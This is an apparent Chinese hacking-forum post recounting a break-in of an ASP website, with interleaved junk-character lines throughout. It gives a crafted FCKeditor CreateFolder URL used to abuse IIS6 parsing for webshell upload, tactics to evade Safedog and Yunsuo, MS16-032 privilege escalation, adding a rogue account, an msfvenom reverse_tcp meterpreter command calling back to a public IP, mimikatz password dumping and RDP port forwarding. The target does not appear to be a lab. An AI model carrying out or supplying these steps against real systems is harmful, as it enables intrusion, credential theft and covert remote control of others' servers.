|
- p; l- F* C: B5 [+ b9 p) P/ ^
+ ?# t7 }: f! s! x! N' t2 q
: _3 [ w3 l# |, ^8 T7 H% X O- U. g- A4 P
|
0 S) r1 A! C+ ]) l' ] u
a' X1 i3 S& {# W
- J* S6 G7 @' ?1 r
一、 利用getwebshell篇
; S- y0 e# e R6 L! I4 H
' g; S4 E; u3 }/ E" h3 L首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
+ S+ W8 W( M7 F* D. l9 ~1 ?& v& |$ X; d
I3 F3 S+ p! R+ D# [- s c
j4 W9 T" i4 u% I" r下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
' A" d# V, f: X8 {* e* k- P# Z6 m
* F8 u3 N" V+ @ R下面我们构造一个asp目录，如：
/ p0 O1 j, E" T- _. ?3 V9 f6 u1 v, R: G; O
% j% z" e( I3 d9 i) n! z: _8 n# y
% q9 k+ Q3 ?4 R, W' P http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 1 }; V* ^' j$ O! V# x$ _# S
9 A+ r1 e) W/ w. f
, n" C8 }* J/ q4 ~/ q, _: I2 m2 K 然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
4 _& u& @+ ~- U6 V+ U: V6 @
# Y& c& G% ?1 H一、 绕过安全狗云锁提权并且加账号
! u/ L- R) C4 ~7 C% J* |
; X/ R$ N g3 x& m- W. ?6 m没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
) L0 g- H7 q$ n" P
& W! ?# |8 r1 {+ ^* a7 p% ^( n
如图：
/ z2 X. y5 G9 c; c0 G8 e5 D
/ Z; E( W$ P( j
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
. [$ V1 A1 _% n* z! H0 O7 ~
: v1 E7 D1 `9 G, d7 G0 a" V7 y) U* ~
一、 利用metasploit
- T& H7 }3 @1 f x$ V) y
6 X# e8 Y- c6 v" v0 z
首先用pentestbox生成一个64位的payload如下命令
6 E' X6 \ R/ l( B
+ F* y0 K0 s# O5 v+ [6 M# ]7 m: hmsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
% V( V r& U' ~) E- B/ k$ y
7 y* I2 Y1 G) }: O- I. h
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
2 q9 P# {8 m# Y. ]
8 [. W. U* l5 {9 Y! A2 ~! `下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
$ Y2 w9 }0 ~1 J% c0 R9 ?6 f
) r, U+ n; g6 M7 o5 M% d- U
下面我们来做一个监听如下命令：
$ p9 Y0 K7 ~2 h- k
, B/ @. L3 p4 D' P, M( D i3 {
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
% _) {! l F9 ^9 s
( u4 Z% N7 `3 G! }' y8 `
5 ~) a& ~# R; V: [6 J5 \ |
) j9 R. J: n( E. L- F
: T- Y5 W, D6 F( j& a8 ?) h; p 3 z& x$ N4 s) y3 L; x9 ] x
" j, i5 f' w% z, J
1 O' B7 N* I, ^+ ^
! d) b% N: u1 V7 \
5 l3 z8 [: j# f. g4 ^
0 W( P. `# U: y' w) W 4 Y$ u$ s) i1 H3 s% }
" m, Z+ i2 {8 v# X9 _
, Y. V# n) j1 w$ y5 _
" K3 a, Q/ w. R+ ~9 j& j
, ~' P% D" E) f! k; H+ L8 O* p
7 [ J) z. |/ L/ }+ J
| 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06